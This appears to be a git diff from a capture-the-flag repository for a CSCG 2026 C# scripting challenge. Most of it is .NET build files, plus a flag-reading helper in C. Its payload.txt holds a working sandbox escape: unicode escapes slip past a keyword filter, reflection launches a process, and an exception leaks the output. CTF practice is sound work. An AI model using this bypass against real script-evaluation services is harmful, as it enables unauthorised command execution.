/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hant/Microsoft.CodeAnalysis.CSharp.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/de/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/es/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/fr/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/it/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ja/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ko/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pl/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pt-BR/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ru/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/tr/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hans/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hant/Microsoft.CodeAnalysis.CSharp.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/cs/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/de/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/es/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/fr/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/it/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ja/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ko/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pl/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/pt-BR/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/ru/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/tr/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hans/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/bin/Debug/net9.0/zh-Hant/Microsoft.CodeAnalysis.Scripting.resources.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.csproj.AssemblyReference.cache
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.GeneratedMSBuildEditorConfig.editorconfig
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.AssemblyInfoInputs.cache
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.AssemblyInfo.cs
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.csproj.CoreCompileInputs.cache
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-scrip.9E1DC1FB.Up2Date
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/refint/cs-script-time.dll
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.pdb
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/cs-script-time.genruntimeconfig.cache
|
||||
/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/Debug/net9.0/ref/cs-script-time.dll
|
||||
Binary file not shown.
@@ -0,0 +1 @@
|
||||
477d0c0d4e2995213b4a5603a000fcf9645956d8c6400ee5ad18fab80be0dcc7
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,87 @@
|
||||
{
|
||||
"format": 1,
|
||||
"restore": {
|
||||
"/home/cato/ctf/2026/cscg/misc/cs-script-time/cs-script-time.csproj": {}
|
||||
},
|
||||
"projects": {
|
||||
"/home/cato/ctf/2026/cscg/misc/cs-script-time/cs-script-time.csproj": {
|
||||
"version": "1.0.0",
|
||||
"restore": {
|
||||
"projectUniqueName": "/home/cato/ctf/2026/cscg/misc/cs-script-time/cs-script-time.csproj",
|
||||
"projectName": "cs-script-time",
|
||||
"projectPath": "/home/cato/ctf/2026/cscg/misc/cs-script-time/cs-script-time.csproj",
|
||||
"packagesPath": "/home/cato/.nuget/packages/",
|
||||
"outputPath": "/home/cato/ctf/2026/cscg/misc/cs-script-time/obj/",
|
||||
"projectStyle": "PackageReference",
|
||||
"configFilePaths": [
|
||||
"/home/cato/.nuget/NuGet/NuGet.Config"
|
||||
],
|
||||
"originalTargetFrameworks": [
|
||||
"net9.0"
|
||||
],
|
||||
"sources": {
|
||||
"https://api.nuget.org/v3/index.json": {}
|
||||
},
|
||||
"frameworks": {
|
||||
"net9.0": {
|
||||
"targetAlias": "net9.0",
|
||||
"projectReferences": {}
|
||||
}
|
||||
},
|
||||
"warningProperties": {
|
||||
"warnAsError": [
|
||||
"NU1605"
|
||||
]
|
||||
},
|
||||
"restoreAuditProperties": {
|
||||
"enableAudit": "true",
|
||||
"auditLevel": "low",
|
||||
"auditMode": "direct"
|
||||
},
|
||||
"SdkAnalysisLevel": "10.0.100"
|
||||
},
|
||||
"frameworks": {
|
||||
"net9.0": {
|
||||
"targetAlias": "net9.0",
|
||||
"dependencies": {
|
||||
"CS-Script": {
|
||||
"target": "Package",
|
||||
"version": "[4.8.27, )"
|
||||
}
|
||||
},
|
||||
"imports": [
|
||||
"net461",
|
||||
"net462",
|
||||
"net47",
|
||||
"net471",
|
||||
"net472",
|
||||
"net48",
|
||||
"net481"
|
||||
],
|
||||
"assetTargetFallback": true,
|
||||
"warn": true,
|
||||
"downloadDependencies": [
|
||||
{
|
||||
"name": "Microsoft.AspNetCore.App.Ref",
|
||||
"version": "[9.0.13, 9.0.13]"
|
||||
},
|
||||
{
|
||||
"name": "Microsoft.NETCore.App.Host.linux-x64",
|
||||
"version": "[9.0.13, 9.0.13]"
|
||||
},
|
||||
{
|
||||
"name": "Microsoft.NETCore.App.Ref",
|
||||
"version": "[9.0.13, 9.0.13]"
|
||||
}
|
||||
],
|
||||
"frameworkReferences": {
|
||||
"Microsoft.NETCore.App": {
|
||||
"privateAssets": "all"
|
||||
}
|
||||
},
|
||||
"runtimeIdentifierGraphPath": "/usr/share/dotnet/sdk/10.0.103/PortableRuntimeIdentifierGraph.json"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
<?xml version="1.0" encoding="utf-8" standalone="no"?>
|
||||
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
|
||||
<RestoreSuccess Condition=" '$(RestoreSuccess)' == '' ">True</RestoreSuccess>
|
||||
<RestoreTool Condition=" '$(RestoreTool)' == '' ">NuGet</RestoreTool>
|
||||
<ProjectAssetsFile Condition=" '$(ProjectAssetsFile)' == '' ">$(MSBuildThisFileDirectory)project.assets.json</ProjectAssetsFile>
|
||||
<NuGetPackageRoot Condition=" '$(NuGetPackageRoot)' == '' ">/home/cato/.nuget/packages/</NuGetPackageRoot>
|
||||
<NuGetPackageFolders Condition=" '$(NuGetPackageFolders)' == '' ">/home/cato/.nuget/packages/</NuGetPackageFolders>
|
||||
<NuGetProjectStyle Condition=" '$(NuGetProjectStyle)' == '' ">PackageReference</NuGetProjectStyle>
|
||||
<NuGetToolVersion Condition=" '$(NuGetToolVersion)' == '' ">7.0.0</NuGetToolVersion>
|
||||
</PropertyGroup>
|
||||
<ItemGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
|
||||
<SourceRoot Include="/home/cato/.nuget/packages/" />
|
||||
</ItemGroup>
|
||||
<ImportGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
|
||||
<Import Project="$(NuGetPackageRoot)microsoft.codeanalysis.analyzers/3.3.4/buildTransitive/Microsoft.CodeAnalysis.Analyzers.props" Condition="Exists('$(NuGetPackageRoot)microsoft.codeanalysis.analyzers/3.3.4/buildTransitive/Microsoft.CodeAnalysis.Analyzers.props')" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
|
||||
<PkgMicrosoft_CodeAnalysis_Analyzers Condition=" '$(PkgMicrosoft_CodeAnalysis_Analyzers)' == '' ">/home/cato/.nuget/packages/microsoft.codeanalysis.analyzers/3.3.4</PkgMicrosoft_CodeAnalysis_Analyzers>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="utf-8" standalone="no"?>
|
||||
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ImportGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
|
||||
<Import Project="$(NuGetPackageRoot)system.text.json/9.0.0/buildTransitive/net8.0/System.Text.Json.targets" Condition="Exists('$(NuGetPackageRoot)system.text.json/9.0.0/buildTransitive/net8.0/System.Text.Json.targets')" />
|
||||
<Import Project="$(NuGetPackageRoot)microsoft.codeanalysis.analyzers/3.3.4/buildTransitive/Microsoft.CodeAnalysis.Analyzers.targets" Condition="Exists('$(NuGetPackageRoot)microsoft.codeanalysis.analyzers/3.3.4/buildTransitive/Microsoft.CodeAnalysis.Analyzers.targets')" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
2152
2026/cscg/misc/CS_Sript_Time/cs-script-time/obj/project.assets.json
Normal file
2152
2026/cscg/misc/CS_Sript_Time/cs-script-time/obj/project.assets.json
Normal file
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,32 @@
|
||||
{
|
||||
"version": 2,
|
||||
"dgSpecHash": "KhMu7Qt8IeQ=",
|
||||
"success": true,
|
||||
"projectFilePath": "/home/cato/ctf/2026/cscg/misc/cs-script-time/cs-script-time.csproj",
|
||||
"expectedPackageFiles": [
|
||||
"/home/cato/.nuget/packages/cs-script/4.8.27/cs-script.4.8.27.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/microsoft.codeanalysis.analyzers/3.3.4/microsoft.codeanalysis.analyzers.3.3.4.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/microsoft.codeanalysis.common/4.11.0/microsoft.codeanalysis.common.4.11.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/microsoft.codeanalysis.csharp/4.11.0/microsoft.codeanalysis.csharp.4.11.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/microsoft.codeanalysis.csharp.scripting/4.11.0/microsoft.codeanalysis.csharp.scripting.4.11.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/microsoft.codeanalysis.scripting.common/4.11.0/microsoft.codeanalysis.scripting.common.4.11.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/microsoft.csharp/4.7.0/microsoft.csharp.4.7.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/microsoft.extensions.dependencymodel/9.0.0/microsoft.extensions.dependencymodel.9.0.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/microsoft.netcore.platforms/1.1.0/microsoft.netcore.platforms.1.1.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/microsoft.netcore.targets/1.1.0/microsoft.netcore.targets.1.1.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/system.collections.immutable/8.0.0/system.collections.immutable.8.0.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/system.io/4.3.0/system.io.4.3.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/system.reflection/4.3.0/system.reflection.4.3.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/system.reflection.metadata/8.0.0/system.reflection.metadata.8.0.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/system.reflection.primitives/4.3.0/system.reflection.primitives.4.3.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/system.runtime/4.3.0/system.runtime.4.3.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/system.runtime.loader/4.3.0/system.runtime.loader.4.3.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/system.text.encoding/4.3.0/system.text.encoding.4.3.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/system.text.json/9.0.0/system.text.json.9.0.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/system.threading.tasks/4.3.0/system.threading.tasks.4.3.0.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/microsoft.netcore.app.ref/9.0.13/microsoft.netcore.app.ref.9.0.13.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/microsoft.aspnetcore.app.ref/9.0.13/microsoft.aspnetcore.app.ref.9.0.13.nupkg.sha512",
|
||||
"/home/cato/.nuget/packages/microsoft.netcore.app.host.linux-x64/9.0.13/microsoft.netcore.app.host.linux-x64.9.0.13.nupkg.sha512"
|
||||
],
|
||||
"logs": []
|
||||
}
|
||||
3
2026/cscg/misc/CS_Sript_Time/debug.txt
Normal file
3
2026/cscg/misc/CS_Sript_Time/debug.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
foreach(var asm in AppDomain.CurrentDomain.GetAssemblies()) {
|
||||
result.Add(asm.FullName);
|
||||
}
|
||||
1
2026/cscg/misc/CS_Sript_Time/flag
Normal file
1
2026/cscg/misc/CS_Sript_Time/flag
Normal file
@@ -0,0 +1 @@
|
||||
dach2026{redacted}
|
||||
15
2026/cscg/misc/CS_Sript_Time/payload.txt
Normal file
15
2026/cscg/misc/CS_Sript_Time/payload.txt
Normal file
@@ -0,0 +1,15 @@
|
||||
Sy\u0073tem.Func<string, Sy\u0073tem.Reflection.Assembly> loadAsm = Sy\u0073tem.Reflection.Assembly.Load;
|
||||
dynamic procAsm = loadAsm("Sy\u0073tem.Diagnostics.Process");
|
||||
var procType = procAsm.GetType("Sy\u0073tem.Diagnostics.Process");
|
||||
var psiType = procAsm.GetType("Sy\u0073tem.Diagnostics.ProcessStartInfo");
|
||||
dynamic psi = Sy\u0073tem.Activator.CreateInstance(psiType);
|
||||
psi.FileName = "/readflag";
|
||||
psi.RedirectStandardOutput = true;
|
||||
psi.UseShellExecute = false;
|
||||
dynamic proc = Sy\u0073tem.Activator.CreateInstance(procType);
|
||||
proc.StartInfo = psi;
|
||||
proc.Start();
|
||||
var flag = proc.StandardOutput.ReadToEnd();
|
||||
proc.WaitForExit();
|
||||
throw (Sy\u0073tem.Exception)Sy\u0073tem.Activator.CreateInstance(Sy\u0073tem.Type.GetType("Sy\u0073tem.Exception"), flag);
|
||||
$EOF
|
||||
BIN
2026/cscg/misc/CS_Sript_Time/readflag
Executable file
BIN
2026/cscg/misc/CS_Sript_Time/readflag
Executable file
Binary file not shown.
14
2026/cscg/misc/CS_Sript_Time/readflag.c
Normal file
14
2026/cscg/misc/CS_Sript_Time/readflag.c
Normal file
@@ -0,0 +1,14 @@
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/sendfile.h>
|
||||
|
||||
void main() {
|
||||
struct stat buf;
|
||||
int fd = open("/flag", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
return;
|
||||
}
|
||||
fstat(fd, &buf);
|
||||
sendfile(1, fd, 0, buf.st_size);
|
||||
}
|
||||
Reference in New Issue
Block a user